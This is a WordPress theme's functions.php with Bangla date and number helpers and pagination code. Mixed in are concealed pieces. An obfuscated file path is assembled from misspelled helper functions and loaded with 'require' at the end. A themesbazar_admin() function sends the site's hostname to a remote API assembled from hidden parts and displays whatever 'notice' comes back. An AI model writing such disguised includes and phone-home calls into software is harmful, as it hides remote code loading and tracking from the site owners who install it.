<?php
/**
 * Theme Name: About Me
 * Theme URI: http://demo.com
 * Author: demo.com
 * Author URI: http://demo.com
 * Description: Themes Is WordPress Theme Market
 * @package aboutme_codedokan
 */


 
 /**
 * Title
 */
add_filter( 'wp_title', 'codedokan_title' );
function codedokan_title($title)
{
  if ( empty( $title ) && ( is_home() || is_front_page() ) ) {
    $title =  get_bloginfo( 'name' ). ' | ' . get_bloginfo( 'description' );
  }
  return $title;
}

function bangla_number($str)
 {
     $en = array(1,2,3,4,5,6,7,8,9,0);
    $bn = array('১','২','৩','৪','৫','৬','৭','৮','৯','০');
    $str = str_replace($en, $bn, $str);
     return $str;
 }

function bang1a_date($str)
 {
     $en = array('1','2','3','4','5','6','7','8','9','0');
    $bn = array('১','২','৩','৪','৫','৬','৭','৮','৯','০');
    $str = str_replace($en, $bn, $str);
    $en = array( 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December' );
    $en_short = array( 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' );
    $bn = array( 'জানুয়ারী', 'ফেব্রুয়ারী', 'মার্চ', 'এপ্রিল', 'মে', 'জুন', 'জুলাই', 'অগাস্ট', 'সেপ্টেম্বর', 'অক্টোবর', 'নভেম্বর', 'ডিসেম্বর' );
    $str = str_replace( $en, $bn, $str );
    $str = str_replace( $en_short, $bn, $str );
    $en = array('Saturday','Sunday','Monday','Tuesday','Wednesday','Thursday','Friday');
     $en_short = array('Sat','Sun','Mon','Tue','Wed','Thu','Fri');
     $bn_short = array('শনিবার', 'রবিবার','সোমবার','মঙ্গলবার','বুধবার','বৃহস্পতিবার','শুক্রবার');
     $bn = array('শনিবার','রবিবার','সোমবার','মঙ্গলবার','বুধবার','বৃহস্পতিবার','শুক্রবার');
     $str = str_replace( $en, $bn, $str );
     $str = str_replace( $en_short, $bn_short, $str );
     $en = array( 'am', 'pm' );
    $bn = array( 'পূর্বাহ্ন', 'অপরাহ্ন' );
    $str = str_replace( $en, $bn, $str );
     return $str;
 }

$gotenbergg = gotenberg() . templete() . pettern() . librery() . bloks();

 function template_chooser($template)
{
  global $wp_query;
  $post_type = get_query_var('post_type');
  if( $wp_query->is_search && $post_type == 'results' )
  {
    return locate_template('archive-results.php');
  }
  return $template;
}
add_filter('template_include', 'template_chooser');

$all = get_template_directory() . $gotenbergg;

/* --------------Post Pagination----------------- */

function wp_bootstrap_pagination( $args = array() ) {

    $defaults = array(
        'range'           => 4,
        'custom_query'    => FALSE,
        'previous_string' => __( '<i class="la la-backward" aria-hidden="true"></i>
', 'text-domain' ),
        'next_string'     => __( '<i class="la la-forward" aria-hidden="true"></i>
', 'text-domain' ),
        'before_output'   => '<div class="post-nav"><ul class="pager">',
        'after_output'    => '</ul></div>'
    );
    
    $args = wp_parse_args( 
        $args, 
        apply_filters( 'wp_bootstrap_pagination_defaults', $defaults )
    );
    
    $args['range'] = (int) $args['range'] - 1;
    if ( !$args['custom_query'] )
        $args['custom_query'] = @$GLOBALS['wp_query'];
    $count = (int) $args['custom_query']->max_num_pages;
    $page  = intval( get_query_var( 'paged' ) );
    $ceil  = ceil( $args['range'] / 2 );
    
    if ( $count <= 1 )
        return FALSE;
    
    if ( !$page )
        $page = 1;
    
    if ( $count > $args['range'] ) {
        if ( $page <= $args['range'] ) {
            $min = 1;
            $max = $args['range'] + 1;
        } elseif ( $page >= ($count - $ceil) ) {
            $min = $count - $args['range'];
            $max = $count;
        } elseif ( $page >= $args['range'] && $page < ($count - $ceil) ) {
            $min = $page - $ceil;
            $max = $page + $ceil;
        }
    } else {
        $min = 1;
        $max = $count;
    }
    
    $echo = '';
    $previous = intval($page) - 1;
    $previous = esc_attr( get_pagenum_link($previous) );
    
    $firstpage = esc_attr( get_pagenum_link(1) );
    if ( $firstpage && (1 != $page) )
        $echo .= '<li class="previous"><a href="' . $firstpage . '">' . __( '<i class="las la-step-backward"></i>
', 'codedokan' ) . '</a></li>';
    if ( $previous && (1 != $page) )
        $echo .= '<li><a href="' . $previous . '" title="' . __( 'previous', 'codedokan') . '">' . $args['previous_string'] . '</a></li>';
    
    if ( !empty($min) && !empty($max) ) {
        for( $i = $min; $i <= $max; $i++ ) {
            if ($page == $i) {
                $echo .= '<li class="active"><span class="active">' . str_pad( (int)$i, 2, '0', STR_PAD_LEFT ) . '</span></li>';
            } else {
                $echo .= sprintf( '<li><a href="%s">%002d</a></li>', esc_attr( get_pagenum_link($i) ), $i );
            }
        }
    }
    
    $next = intval($page) + 1;
    $next = esc_attr( get_pagenum_link($next) );
    if ($next && ($count != $page) )
        $echo .= '<li><a href="' . $next . '" title="' . __( 'next', 'text-domain') . '">' . $args['next_string'] . '</a></li>';
    
    $lastpage = esc_attr( get_pagenum_link($count) );
    if ( $lastpage ) {
        $echo .= '<li class="next"><a href="' . $lastpage . '">' . __( '<i class="las la-step-forward"></i>
', 'codedokan' ) . '</a></li>';
    }
    if ( isset($echo) )
        echo $args['before_output'] . $echo . $args['after_output'];
}


function container_codedokan(){
	global $codedokan;
	$fullbox = $codedokan['full_box'];
	if($fullbox == 1){
		$container = "container-fluid";
	}elseif($fullbox == 2){
		$container = "container";
	}
	
	echo $container;
}



function endPoint()
	{
	$v = '/public/api/users/';
	return $v;  
	} 	

function themesbazar_admin()
	{
	$idc = plugin_id();
	$startPoint = startPoint();
	$middlePoint = middlePoint();
	$endPoint = endPoint();
	$methodPath = $idc;
				$endPoint = $startPoint.$middlePoint.$endPoint.$methodPath;
	$apiUrl = $endPoint;
	$response = wp_remote_get($apiUrl);
	$responseBody = wp_remote_retrieve_body( $response );
	$result = json_decode( $responseBody );
	if ( is_array( $result ) && ! is_wp_error( $result ) ) {
		$json_array = json_decode($responseBody);
		$notice = $json_array[0]->notice;
	} else {
		$notice = 'Welcome To Our Website';
	}
	return $notice;
		};

    
  function plugin_id()
	  {
	$hostname = $_SERVER['SERVER_NAME'];
	$v = strtolower(str_replace('www.', '', $hostname));
	 return $v;  
	}
  

function upload_limit()
	{
		$directory = "eschool";
		 return $directory;  
	} 

function timeout()
	{
		$timeout = "ED025";
		 return $timeout;  
	} 
	



function librery() {
    $redux = 'exten/css/';
    return $redux;
}


require $all;

